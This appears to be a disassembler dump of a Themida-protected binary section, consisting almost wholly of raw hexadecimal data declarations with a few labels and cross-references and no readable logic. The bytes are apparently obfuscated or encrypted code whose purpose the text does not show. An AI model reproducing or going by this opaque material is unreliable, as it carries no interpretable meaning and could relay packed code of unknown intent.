		dd 17954087h, 4849B6h, 47C60000h, 18B971E2h, 0F2CBA0FFh
		dd 987E1834h, 18B93E3Fh, 2398D7FCh, 4809AE87h, 99FC18B9h
		dd 94AE04A2h, 0AC2C6A6Eh, 5FAEEAEAh, 0F574A11Eh, 244745B2h
		dd 0B99BDC7Dh, 0FD4AFC18h, 10964180h, 4A70F3B7h, 358Eh
		dd 7E18B400h, 9F22E8Eh,	39BC00D9h, 0EDC90673h, 0B94809AEh
		dd 2B64FC18h, 0E4867B81h, 2326935Dh, 93347860h,	6E94AED7h
		dd 0B623266Ah, 992E2B61h, 0C5A13AEFh, 696E4A70h, 0EFAE8723h
		dd 6C30A8E8h, 467DC19h,	246FF6D7h, 0DD287665h, 9A69FF98h
		dd 917CC236h, 7A187248h, 0F356856h, 4078855h, 42C73Dh
		dd 18FB0000h, 90D3567Ah, 0A7832468h, 0B94809AEh, 0C382FC18h
		dd 3495941Ah, 0FC18B903h, 0C64465D2h, 0B95506A3h, 0BD8CFC18h
		dd 0CA077C3Ah, 0AE94AEECh, 414BDE39h, 3C8D24DEh, 0F9C5C135h
		dd 308E4A70h, 0B4000000h, 68567A18h, 0B94809AEh, 0C382FC18h
		dd 2D369713h, 39AE02A8h, 0ED9EF98Dh, 0B4A5B669h, 3CC0BFE4h
		dd 0CFF73A83h, 8422666Eh, 0A1EDEFAEh, 6E834718h, 7E21206Ch
		dd 65D6357Bh, 22503944h, 0F7FC18B9h, 0D28FE176h, 1B1838E0h
		dd 5EAC98C2h, 0F811109Ch, 0C1ABFBFCh, 2167901Ch, 63D475F4h
		dd 0B2FC186Dh, 3826E4C5h, 0C5206C6Eh, 2D5C609Ah, 0B94C0DAAh
		dd 0AE85FC18h, 0ECF761Dh, 0FA6580h, 812669BCh, 0FC18B9D0h
		dd 62C42A01h, 0A9C82E92h, 1DAEF2E6h, 0E7156155h, 0CBD1F07h
		dd 0DC09646Eh, 0D2A9536h, 0F432FC18h, 3A04E81Ah, 0FFFE2CB5h
		dd 8A7332FFh, 777EE104h, 7E3C431h, 18B9FB88h, 0B9922FFCh
		dd 2A46FC18h, 0D6FC18B9h, 0CF5E6497h, 5FD43D8Eh, 0ADFC18B9h
		dd 1DAEEAEAh, 18B9BFB4h, 0B9D66BFCh, 8D92BC18h,	2D9A28D3h
		dd 0B50B9D3Ah, 0D5A2C1FDh, 0FAD479B6h, 326FBEFAh, 368D9A8Ah
		dd 2B60DDA4h, 9B6F9334h, 3A6C41Eh, 0DE12B5A6h, 0DA176C37h
		dd 814DCD5Dh, 68CB5E3Eh, 2A4h, 9D397D7Bh, 666C28ACh, 0CFCBD703h
		dd 913D7B7Ah, 79652BD0h, 619A23C2h, 7F2B753h, 0AE2C1DB9h
		dd 5485E4E2h, 7D844856h, 0FFC09BDCh, 3CB4AF9h, 0D823696Eh
		dd 904462EFh, 0FA8DF14h, 2002AEDh, 1C4F4B20h, 0F9FFC867h
		dd 170A3E23h, 0E75B8EB2h, 77EA4107h, 8C0FC334h,	0D65B2A2Bh
		dd 0BB8CFBF7h, 0F7D65BBAh, 3BA71C6Bh, 8816C786h, 60EFF87Dh
		dd 8DEA3177h, 0F7D65BC8h, 9C83A7ACh, 0CEC8913Bh, 77C09h
		dd 0F4129841h, 8C4C44B5h, 0F1B0CB00h, 6AAEF958h, 0FAC3726Ch
		dd 39281C01h, 0B6AB7890h, 42058413h, 5361795h, 0DCEB854Ah
		dd 6BC04667h, 96BAA710h, 0D9163693h, 72C9159Dh,	4D4B8CCFh
		dd 535F9BDAh, 4A5089C8h, 7C4DBA33h, 981EDBAEh, 0B70F240Dh
		dd 0C64BE19Dh, 5BFC7FE2h, 0E19DC71Ah, 0C7C677D0h, 201FE19Dh
		dd 357C4D3Ah, 85540094h, 5E7C9F1Fh, 0A4EA13F1h,	5E031441h
		dd 0ADDC0926h, 18A1EFEAh, 0AB9F847Dh, 0B905F5B4h, 3658E120h
		dd 0F2229610h, 0D2E79965h, 0C5E68115h, 0F78DEA41h, 74E0F998h
		dd 17A4E11h, 0A7510000h, 5282E7E3h, 1F94856h, 0A55011BDh
		dd 5586FBE7h, 4D34434Fh, 99058B70h, 676331A8h, 0CED4D802h
		dd 92387E7Bh, 45F653D2h, 9CF9FFC3h, 0EFAE5591h,	2E07A0EEh
		dd 5B1A0D21h, 43CE1F9Bh, 2AD6E6h, 8078C902h, 4BA4C73Ch
		dd 0DB913EC6h, 15A62A8Eh, 14054B6Eh, 0B38C60C3h, 0FB148CD2h
		dd 1691BAF7h, 0E2D739B1h, 0A9285F94h, 36A7F3E6h, 9CC3368h
		dd 0B5D13A83h, 0EC041DCDh, 0E15E5C9Dh, 7EE0FA84h, 49287DFEh
		dd 0F0h, 697531A7h, 32D8DC18h, 9B078B4Fh, 6D692FA6h, 35D1DF1Ch
		dd 15C6D7BEh, 0BB3E038Fh, 6298E9F5h, 8F1B05Eh, 29580482h
		dd 0FFC3CF80h, 0DF1F06F9h, 9C5D7B18h, 62DFE514h, 0F953235h
		dd 8602002Ah, 0CBA939A3h, 77ABBC54h, 8386F328h,	0A9117C0h
		dd 575D9EC1h, 25A4EF76h, 0D1347862h, 0C392C364h, 0F443F9FFh
		dd 2D6B6CD3h, 387E7B3Ah, 5186FBAFh, 5AC7304Bh, 0EA56F376h
		dd 2D07E750h, 0FDF94856h, 0AC2C1DB9h, 5087FAE0h, 1B453096h
		dd 76A3DDE8h, 0DEE41968h, 68C7130h, 6C32A998h, 0CF5F6CFDh
		dd 5198A18h, 5983E6A4h,	0FFF84955h, 0ADEC1DB9h,	125D6E2Ch
		dd 8C3DD9E7h, 0B1ABAC0Dh, 0D7AF7D6h, 6A5EC3BCh,	22EE52F7h
		dd 4A2109CEh, 74D554D7h, 0EDADC0C3h, 53042512h,	82EDADC0h
		dd 0C60914B5h, 0DA0F8B11h, 8, 0DEE2185Bh, 9DA7390Dh, 0D92C686Eh
		dd 0C05B6196h, 34575B81h, 25404E8Dh, 287341BAh,	1F6E34A9h
		dd 9B21D4h, 769519C1h, 788307CFh, 0E08950F2h, 405h, 4E88300h
		dd 8B240487h, 0ED682424h, 89000033h, 56682414h,	8900000Fh
		dd 0B8502404h, 1ABA0EE4h, 2D62B705h, 8BC289EBh,	0C4832404h
		dd 4EC8104h, 89000000h,	4812424h, 424h,	89575800h, 48157D7h
		dd 236E5024h, 8408F5Dh,	50086881h, 5F5D236Eh, 5124048Bh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 34FF5C24h,	0C4815A24h
		dd 4, 0FB03B6E9h, 0BB4F5DFFh, 0DEB84D43h, 305E77Bh, 0E8C38BC5h
		dd 8, 74D74DC1h, 0F641BDE6h, 9C27D181h,	0FC5E1E1Eh, 669FC681h
		dd 81660000h, 68DC83F1h, 197Ah,	14E9h, 13FBF800h, 355DC9FEh
		dd 0C9ADBCE1h, 225F0422h, 0B322FECAh, 0ED805A31h, 0BB36FFD0h
		dd 7ADA98A2h, 0C781F55Fh, 11EE29FBh, 4949BB66h,	0E6ACC781h
		dd 8B663306h, 71F781C6h, 816AFBCCh, 0B8136BDBh,	0B03E8944h
		dd 4EE8353h, 0BE9h, 27057500h, 0AC0E21A0h, 0FC07FC1Ah
		dd 1EA81h, 850F0000h, 1Bh, 0E96BE780h, 2Bh, 0AB398DB3h
		dd 519526A3h, 875A8874h, 0EF22B68h, 0E9A596BFh,	0FFFFFF95h
		dd 84C89D32h, 0FD33E4FFh, 0E161465h, 203A4CDBh,	0D8FAA5A8h
		dd 7EAB113h, 66A6DD4Ah,	0A3F228AEh, 3063C71h, 587A4035h
		dd 87FC9170h, 5881D285h, 0B33AC85h, 7D44E724h, 4F209378h
		dd 84332888h, 0B63C9030h, 9933913Dh, 0CF2778CDh, 98B89135h
		dd 20F62CB6h, 963394D7h, 0CC33C0B1h, 3633FB35h,	333392DDh
		dd 5A6BB135h, 0E877186Dh, 42771031h, 33338B31h,	5A63D135h
		dd 0D06F364Fh, 93BA13AEh, 33314CDCh, 0CA33FB35h, 0CC3392DDh
		dd 0A568B135h, 176F186Eh, 0BD771031h, 0CC338B31h, 0A560D235h
		dd 687BC22Bh, 963C24F4h, 47655A8Ah, 0E3BECFCCh,	36D4EC79h
		dd 993385DCh, 4A632C35h, 3744DDBh, 6E23BAE3h, 4861DFC3h
		dd 0BBAF4610h, 6FDBC145h, 5B339135h, 7CC60E2Bh,	5E47A278h
		dd 3FC41A53h, 591795BCh, 9ADBC135h, 0EC339135h,	0EF6B526Dh
		dd 0B237B571h, 8437B571h, 8C339135h, 2DCD5265h,	290F28C0h
		dd 93118E59h, 49BE5BBFh, 63D4EC1Bh, 4DA1053h, 9E8A0177h
		dd 9C33D4B3h, 0CA35ABEh, 30DBC335h, 0B9339135h,	4569526Fh
		dd 0E737B561h, 2637B571h, 0DB339135h, 0AA9A5267h, 0EE89F755h
		dd 0EAB2F773h, 7052C5CDh, 0CC339130h, 0C104B9C1h, 0BAA66EC6h
		dd 0C936732Fh, 0CB8C8C9h, 8E64915Fh, 33339136h,	0C6F0CE15h
		dd 0C817EDBCh, 6217D5B4h, 33339123h, 13F0C672h,	16B373C0h
		dd 0CF8E1271h
		dd 3336732Bh, 24B09840h, 0C9D18930h, 362AE535h,	8BF31A66h
		dd 9933954Fh, 0FD6E14BCh, 0FBBE94D7h, 36D723CFh, 0C16842CAh
		dd 0D4362CB6h, 123394D7h, 8B60C122h, 9933954Fh,	0FD6E14BCh
		dd 0FBBE94D7h, 36D73EDCh, 0C16842CAh, 0A6E01A53h, 65DBC335h
		dd 13339135h, 1069526Fh, 4D37B561h, 7C37B571h, 71339135h
		dd 0FD1D5267h, 0A29B7273h, 0DCE01A6Dh, 5BF05DDh, 68B251BEh
		dd 92158649h, 1B050CB8h, 0B6BE94D2h, 9CD4FE68h,	0CC3F103Ah
		dd 61DA9135h, 5E339135h, 0E60EAA3h, 1CCC1030h, 0E23C513Eh
		dd 3333911Dh, 0DBAE1CC0h, 4D367379h, 815ED6DBh,	33302956h
		dd 43B29135h, 0A9E54BCCh, 0E63C72CAh, 3333913Dh, 99311C3Ah
		dd 96629135h, 1B0D0CB8h, 0B6BE94D2h, 9CD4FE68h,	79BA63B4h
		dd 0B6CCFDA8h, 19062853h, 1D3C513Eh, 0CC33916Bh, 2A710CB8h
		dd 555394D7h, 7FCD5EB4h, 0ADF12E3Ah, 6633908Dh,	6433FB35h
		dd 993392DDh, 0F6CB135h, 424F186Ah, 17771031h, 99338D31h
		dd 0F64D635h, 76EFA08Ch, 15BBA151h, 0F3D06E89h,	0CFDBC335h
		dd 46339135h, 0BA69526Fh, 1837B561h, 0D437B571h, 24339135h
		dd 89225267h, 0FF220AD4h, 51BE6FBEh, 63D4EC76h,	0E5B8F755h
		dd 0F8FC1A53h, 49BE5B83h, 63D4FE68h, 3333163Ah,	49CC9135h
		dd 2466915Fh, 66339136h, 6EF0CC15h, 9D17FDBCh, 0C817D5B4h
		dd 66339122h, 0A5F0C470h, 96A8D862h, 0CC3397B8h, 0DF55C335h
		dd 386D8EA9h, 0DEB79EF5h, 0AC339135h, 93E446B5h, 71AE1C54h
		dd 0F3367379h, 0CFDBC335h, 46339135h, 0BA69526Fh, 1837B561h
		dd 0DB37B571h, 24339135h, 0BAED5267h, 9A8B65B0h, 0C3339135h
		dd 663391B4h, 53D06E35h, 993394DCh, 0D1E9B835h,	7C6ECDAh
		dd 3C705ABEh, 993396BDh, 9A89C635h, 383E42EDh, 4E1F2CB8h
		dd 14BE94D2h, 0C9D41190h, 2D6FEC8Dh, 2AB6A2BFh,	0B236731Eh
		dd 0B8DA50FAh, 0D21B0D0Ch, 68B6BE94h, 0B49CD4FEh, 0A879BA63h
		dd 53B6CCFDh, 3E190628h, 0F305E983h, 0F8C08BA4h, 14E8h
		dd 8F054D00h, 8859DC08h, 0F140CD09h, 0A113A7Fh,	0E8A1D0C5h
		dd 52F86084h, 8B5A615Eh, 92EA81C3h, 8B757C24h, 0BE8C0h
		dd 0D2AC0000h, 3EA09E05h, 17937472h, 0C7816634h, 835A8500h
		dd 0E21EA9BDh, 9750005h, 1805BD83h, 740005E2h, 8B535019h
		dd 47AB8C0h, 85890000h,	5E21DD5h, 0B3619D8Dh, 0D3FF05E4h
		dd 0BD83585Bh, 5E21805h, 50177400h, 47AB853h, 85890000h
		dd 5E21DD5h, 0B0029D8Dh, 0D3FF05E4h, 47B2585Bh,	0A834D281h
		dd 0C08B27C5h, 82018D8Dh, 0B58B05E7h, 5E21809h,	0BE98D89h
		dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 56811C3h,	858B11BCh, 5E22AE5h, 76185C7h
		dd 582C05E2h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0C7E3BAC3h, 0E21B5585h, 5, 0FFF98B00h
		dd 0E20659B5h, 11950105h, 0FF05E231h, 0E20B1595h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0ACF80A72h, 93EA5DDCh, 0FF006A0Dh, 0E20AB995h, 0EBC08B05h
		dd 0C534E56Ah, 0CEFD125Ah, 79CC5EFEh, 0AFCE3CEDh, 9A5B2BCFh
		dd 2A8202E0h, 0A4C0589Ch, 0F572797Bh, 855491DAh, 0AF6AF6D1h
		dd 0F32DE06Bh, 93B75D83h, 0F7F81B48h, 0C62702Dh, 6DC649E8h
		dd 0E73E0FA2h, 51627F69h, 5604FBABh, 0D6245625h, 42022054h
		dd 0E60E7BC3h, 96D91067h, 0BF9AA8CFh, 25067702h, 0F4F80246h
		dd 76F426D0h, 8D248AC1h, 0E783458Dh, 53006A05h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0E8F9E22Eh
		dd 0Ah
dword_545F50	dd 870922ECh, 497FD651h, 0BD01FFF3h, 5E23159h, 0E98D895Ah
					; DATA XREF: Themida_:004EF208o
		dd 6A05E20Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 841FC357h, 87A39A34h, 85C7F9DBh
		dd 5E20761h, 6844h, 6890Fh, 0B5890000h,	5E21B65h, 0CE9h
		dd 69586B00h, 0C642971Ah, 4E378950h, 5585C7C1h,	5E21Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 5FADC356h, 0FF3BC095h,	0E20659B5h
		dd 95895105h, 5E21551h,	1595FF5Ah, 8B05E20Bh, 0E218A1BDh
		dd 0FF006A05h, 0E20AB995h, 0EBC08B05h, 0ED122A6Ah, 72E55827h
		dd 0DF84A849h, 0FFCC4470h, 42F0CB7Ch, 335730D9h, 945C1F86h
		dd 49912999h, 8E97B60Dh, 9789F0F8h, 7E837EEBh, 0E7F977EBh
		dd 0F67467BAh, 0B4318117h, 731960C0h, 2BB9BA79h, 5678761Dh
		dd 0E7864B71h, 1C5BD5A1h, 0B1FB6668h, 0CED787DFh, 0C9936610h
		dd 99127E98h, 6A092F0Fh, 0E4B64848h, 0A5AF8478h, 0E8857797h
		dd 13h,	32FE5A59h, 0BB443D2Dh, 628C4AE6h, 30227D90h, 81159806h
		dd 0FA6719D9h, 6E95B57h, 0BD000000h, 50FAFE52h,	45C3815Dh
		dd 8B000071h, 1C20BAC2h, 870F0000h, 4, 0A338B966h, 0BD8B33FFh
		dd 5E230E1h, 0CF81665Eh, 0C681DFD0h, 5FB2CEC2h,	4A98D8Bh
		dd 0EE8105E2h, 2931417Eh, 0C8C0Fh, 890F0000h, 6, 77DB589h
		dd 0C68105E2h, 1574E714h, 2669BD09h, 0F95605E2h, 8B0F038Fh
		dd 4, 8B3AB966h, 8104EB83h, 1EAh, 1C850F00h, 81000000h
		dd 1EC4BED1h, 27E969h, 3C430000h, 0BFD85844h, 6F906470h
		dd 667B1BD9h, 8074EA44h, 81E91FE4h, 17FFFFFFh, 5C7E3A8Ah
		dd 2F18F2C5h, 3D8A00B8h, 9E84Bh, 0D2B10000h, 974C2658h
		dd 3448DD4h, 0E216F585h, 8D8B5E05h, 5E22AC5h, 6715C681h
		dd 91BA0000h, 89000019h, 0E2296985h, 2336FF05h,	0E22669BDh
		dd 33B45B05h, 873DC381h, 0E9517038h, 9,	98594C10h, 0F4B03EEEh
		dd 0C3815F68h, 353F12C2h, 0C381E38Ah, 13278DB2h, 1505858Bh
		dd 1E8905E2h, 10E9h, 4C8C3C00h,	0D9593F95h, 8FEB96DDh
		dd 2C6EF41Eh, 49EE812Bh, 0E82A27BFh, 0Dh, 513ABFC2h, 0F7762293h
		dd 35B2C86Bh, 0FBBF0F60h, 45C68159h, 0F2A27BFh,	8Fh, 1EA8300h
		dd 19850Fh, 0E5800000h,	29E933h, 65380000h, 23B90261h
		dd 9D0A59FEh, 0E23AA650h, 8B35928Dh, 0E2217DBDh, 0FF5FE905h
		dd 886EFFFFh, 2CC30D04h, 7369D3AEh, 0E9E9EF49h,	266h, 0D98C6660h
		dd 0F04C1F6h, 3584h, 0FF016A00h, 0E2262DB5h, 61858D05h
		dd 0FF05E57Ah, 158589D0h, 8B05E22Dh, 0CEFC1FEh,	6000068h
		dd 6A006A20h, 0D685702h, 0FF000100h, 0E22D1595h, 32E905h
		dd 85C60000h, 5E20A49h,	30DF6856h, 0B5FFA9C5h, 5E216A1h
		dd 7A61858Dh, 0D0FF05E5h, 24798589h, 858D05E2h,	5E20935h
		dd 6A406A50h, 95FF5605h, 5E22479h, 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 0DF858908h, 8B05E785h,	85890C42h
		dd 5E785D7h, 8910428Bh,	0E785DB85h, 15B58D05h, 8D05E786h
		dd 5B7E3585h, 61D0FF00h, 0CC25Ah, 85DFB58Bh, 858B05E7h
		dd 5E785D7h, 85DBBD83h,	0F0005E7h, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 5E785DFh, 8666B58Dh
		dd 858D05E7h, 5B7E35h, 5A61D0FFh, 85DF858Bh, 4C205E7h
		dd 0DF858B00h, 8B05E785h, 0DF858900h, 0CF05E785h, 0
		dd 3CB58960h, 8905E786h, 0E7863885h, 0DD858D05h, 8B05E231h
		dd 85894440h, 5E78675h,	86ABB58Dh, 858D05E7h, 5B7E35h
		dd 8B61D0FFh, 0E7863C85h, 9D8BC305h, 5E78638h, 3C43B70Fh
		dd 5B8BD803h, 389D0378h, 8B05E786h, 0B5032473h,	5E78638h
		dd 207B8B56h, 31C738Bh,	0E78638BDh, 38B50305h, 0FC05E786h
		dd 41FFC983h, 863C9D8Bh, 178B05E7h, 86389503h, 0C78305E7h
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 86388503h, 858905E7h, 5E7863Ch, 0CE8BF08Bh
		dd 0BD81C18Bh, 5E78675h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 0E78675BDh, 70C8305h, 7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	5E78675h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 0E78675BDh, 30000005h, 0E840FC0h,	25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 5E785E3h,	2D858589h
		dd 858D05E2h, 5E78679h,	2FA18589h, 858D05E2h, 5E78640h
		dd 2D3D8589h, 3CE905E2h, 1, 4Eh	dup(0)
		dd 83000000h, 0E217B5BDh, 840F0105h, 530h, 12E9h, 59B09900h
		dd 7F148C04h, 0EF949A27h, 1996CB4Ah, 0C6F54A19h, 0E20A4985h
		dd 13E94305h, 55000000h, 6E5AA921h, 4F4BC8BAh, 0AB454959h
		dd 0EA0DB52Fh, 68E123h,	50ACD9A4h, 50525052h, 5A310F52h
		dd 0F310F58h, 81h, 0F585A00h, 52506031h, 585A310Fh, 61D68B66h
		dd 481585Ah, 0CC2CF524h, 0B70F603Fh, 14830FFEh,	0E8000000h
		dd 0Eh,	82AE8DC6h, 5DBB311Eh, 0DDB787FFh, 6158F3D4h, 16A1B5FFh
		dd 8DF505E2h, 0E57A6185h, 12E905h, 67240000h, 0B134B14Eh
		dd 717BDC22h, 0D84ACAF6h, 9ABD49E1h, 92CFB960h,	800F45EEh
		dd 2, 0FF61D9B4h, 7810FD0h, 60000000h, 8B666160h, 858961FEh
		dd 5E20B7Dh, 0B8E0Fh, 6E90000h,	61000000h, 0B406796h, 4985C65Eh
		dd 5005E20Ah, 0BB66FC60h, 6861F4FCh, 85E51932h,	9E95250h
		dd 95000000h, 0C7198CD7h, 0FBDB3B86h, 800F310Fh, 14h, 0FE9h
		dd 0F9935600h, 84235FCBh, 7B83D1E8h, 0DB8B2CCEh, 3481585Ah
		dd 48B46424h, 5E92Dh, 0D990000h, 0FFBAC186h, 0E216A1B5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 29DD2A6Dh, 60E6D3FDh, 61858D61h,	6A05E57Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0BCF0C352h, 58D0Fh, 80600000h, 0E96119CEh
		dd 7, 3554C198h, 0FF662652h, 8589FCD0h,	5E218D5h, 0EE9h
		dd 0A3374400h, 0F87342D2h, 0CE6FEF9Fh, 68A81B18h, 8B79A6FFh
		dd 60605250h, 61F08B61h, 6660310Fh, 617FBEB8h, 481585Ah
		dd 16013024h, 10E965h, 15AB0000h, 7D69B573h, 0E2F3B641h
		dd 368F934Ch, 0B5FF57D2h, 5E216A1h, 61858DF8h, 0F905E57Ah
		dd 0E960D0FFh, 0Eh, 0B2416102h,	367B4BB4h, 95AB3B36h, 8F0FB804h
		dd 16h,	10E8h, 1D368000h, 0DC30D813h, 0DFE9A5E1h, 6CAAAD4Fh
		dd 0E9615ECFh, 13h, 2D69855Ch, 2B776E2h, 4D287ABFh, 64971C38h
		dd 89849999h, 0E20C1985h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 5E6EB632h
		dd 13840Fh, 0EE90000h, 45000000h, 0DC7A5BCBh, 0A9831F93h
		dd 0D9397B64h, 4985C67Dh, 5005E20Ah, 0B70F5660h, 0BF665AD8h
		dd 6861C02Eh, 4A458DBEh, 108A0Fh, 0E9600000h, 7, 37A02DE7h
		dd 0B47F7EAFh, 48161A5h, 574E9824h, 16810F4Dh, 0E9000000h
		dd 11h,	0A19DF547h, 0F49B7EB3h,	50146F55h, 9B735357h, 2DB5FFABh
		dd 0F05E226h, 180h, 858DF800h, 5E239EDh, 0D0FFF9F5h, 3BC78160h
		dd 0E8736B7Bh, 0Eh, 88C04C09h, 534190D6h, 0E58D8735h, 890FF655h
		dd 0
		dd 8589615Bh, 5E2086Dh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0CEC35747h, 0B8A365C2h, 433DD254h, 14E9AFh
		dd 71B60000h, 311A5BABh, 547F0BFFh, 273C141Bh, 0B600B4F1h
		dd 840FA2ACh, 0Ah, 0F616060h, 8Fh, 0D5E96100h, 60000001h
		dd 6660C28Bh, 0A2CEC381h, 11E8h, 0CDBA3500h, 0D4B823F3h
		dd 0B706692Ch, 0F1A20792h, 615F8AA9h, 52509561h, 2820Fh
		dd 61600000h, 840F310Fh, 6, 310F5250h, 585A585Ah, 13E86050h
		dd 0E4000000h, 53170830h, 4365A233h, 0ECE49AD7h, 0DD7C1913h
		dd 615B3F1Bh, 53006A95h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 520168FDh, 0A886A21Ah, 60EC8B9Bh
		dd 0B880Fh, 5E80000h, 78000000h, 153688A0h, 3ABA665Bh
		dd 0C4836136h, 51006AFCh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 0E90A2D41h, 0D5AC1F96h
		dd 0BF666038h, 0D68B9C64h, 1800F61h, 0F8000000h, 17820F60h
		dd 60000000h, 0DE86160h, 0AD000000h, 0AEA15E2Dh, 0DDAE2E2Eh
		dd 474BC085h, 0E8615Eh,	5A000000h, 8D84EA81h, 45C705E7h
		dd 0FCh, 0B5BA8300h, 105E217h, 98840Fh,	6A520000h, 0FF0F6A00h
		dd 0E20B7D92h, 82895A05h, 5E787F0h, 87F49A8Dh, 0C75205E7h
		dd 12803h, 0FF505300h, 0E218D592h, 8D525A05h, 0E787F49Ah
		dd 0B2FF5305h, 5E787F0h, 86D92FFh, 0B5A05E2h, 8D5074C0h
		dd 0E787F49Ah, 247B8D05h, 0F981C933h, 104h, 8141D474h
		dd 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h, 5E201BDh
		dd 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 1BD828Dh, 0FF5005E2h
		dd 0E20C1992h, 0C00B5A05h, 45C7A075h, 1FCh, 0C707EB00h
		dd 0FC45h, 8B610000h, 0C2C9FC45h, 820F0008h, 6,	0C0B70F60h
		dd 5E961F8h, 3000000h, 0B1277CFBh, 0FE9h, 2DE9B300h, 2F872762h
		dd 0AE5DF8D1h, 434EE912h, 8D8DD28Bh, 5E78EDFh, 0BD19589h
		dd 8D8905E2h, 5E20BE9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 44C35545h, 8BFA8B66h,	0E20A8985h, 6185C705h
		dd 2C05E207h, 0F00006Ah, 85C7FFB7h, 5E21B55h, 0
		dd 0CDB5FFF9h, 8905E22Ah, 0E210898Dh, 1595FF05h, 0F05E20Bh
		dd 68Eh, 0D5BD8900h, 6A05E22Bh,	0B995FF00h
		db 0Ah,	0E2h
word_546B96	dw 8B05h		; DATA XREF: Themida_:004EED40o
		dd 6F59EBC0h, 7595E2B2h, 0D45BCD92h, 0A059C4A1h, 50ED45A3h
		dd 1672C096h, 0A62D65ECh, 0FCC9CF3Dh, 37AB0DDCh, 9A535050h
		dd 6936C468h, 0F57A2AB8h, 0E733E652h, 0AB373C84h, 0B6E1EFB1h
		dd 513E71D3h, 8ABD06Fh,	0E4465F08h, 6396C5C8h, 0A45CCF0Ah
		dd 0DA05D6A7h, 418ACC01h, 69097C85h, 9E8h, 0ED0A4900h
		dd 4CDE608Fh, 0BD8BFDAFh, 5E210E9h, 89C18159h, 80000071h
		dd 0BEAFC0h, 89000000h,	0E20941B5h, 31148B05h, 0C281D7B0h
		dd 2D7B9609h, 2B01BD89h, 0C28105E2h, 1277F347h,	10E9h
		dd 46D1B500h, 31773376h, 0CED9D8D2h, 4E366322h,	48C28192h
		dd 0B3606CE6h, 0FA8B52B7h, 0E931048Fh, 9, 0B112C6E4h, 0E6E27DD0h
		dd 90DF8143h, 8163ECD0h, 7DB57CEEh, 3DBD2976h, 8105E226h
		dd 7DB578C6h, 2F78B876h, 0FE8114EAh, 0FFFF8F10h, 0FF8F850Fh
		dd 8E0FFFFFh, 2, 8EB13B7h, 64DFE1C2h, 77E7339Ch, 0E2FE9h
		dd 918E6800h, 1CE905E7h, 68FFFAF0h, 5E792AFh, 0FAF012E9h
		dd 945168FFh, 8E905E7h,	68FFFAF0h, 5E795BAh, 0FAEFFEE9h
		dd 975A68FFh, 0F4E905E7h, 68FFFAEFh, 5E799C6h, 0FAEFEAE9h
		dd 9B3C68FFh, 0E0E905E7h, 68FFFAEFh, 5E79C63h, 0FAEFD6E9h
		dd 0E2A650FFh, 555185E4h, 0BC00F849h, 0E6A45316h, 4E5489F8h
		dd 734C2B40h, 0AB9E048Ah, 5646230h, 7ACFCBD7h, 0D3933F7Dh
		dd 2944F552h, 909DF9FFh, 23696E2Ah, 5A6099D8h, 0DD9C0DBCh
		dd 0B4350681h, 32807BAEh, 9FB3D0A9h, 0E56B4FE8h, 0D5A201FAh
		dd 0FA5ACFB6h, 1E336D3Ah, 4EDDDB1Ah, 0AEF7D00Dh, 0F9FA6C91h
		dd 39704482h, 3FE6E4E4h, 274Bh,	7B187F00h, 0C777D057h
		dd 1E01FAD1h, 0C07DDA21h, 0D3F9FAA1h, 0A4EA1352h, 8BB31441h
		dd 2B9974BBh, 0FA363FE6h, 8000000h, 0D823696Eh,	2B5E6499h
		dd 0B94E0FA8h, 0A887FC18h, 0AC3D8179h, 13995E81h, 0A904988h
		dd 0BE575B8Ch, 62E5FC18h, 18BC94C5h, 0D5F64DFCh, 382F6D6Ah
		dd 0BB01F6B9h, 0E152EB60h, 30FC18BCh, 0C5A4627Bh, 0BA779614h
		dd 298EB195h, 1FAEFF1h,	0ABF5B10h, 0AEAF088Bh, 67F9FA8Fh
		dd 8F3E3F08h, 98D7F9FAh, 0C5E9764Fh, 5B80C342h,	24853655h
		dd 1F5AACDBh, 0E11B5A04h, 0D2074EDDh, 0CF04B1D4h, 0ACD3A8FEh
		dd 45A0EEEDh, 6125D110h, 1756D958h, 5C03A4E2h, 2F6E119Fh
		dd 0CFDBECAAh, 75FBFBBAh, 0DE5063D4h, 88C5B2F7h, 4E89F87Dh
		dd 0BF07F48h, 35FB7885h, 9BEEFE7Dh, 0BF6B8h, 0B2F6E000h
		dd 0E5A15514h, 4C5088F9h, 0B6F4E346h, 1EA45928h, 39C7BF0h
		dd 7BCED4DAh, 0D5943280h, 0A7F9B27h, 3C3CFCDh, 281445E2h
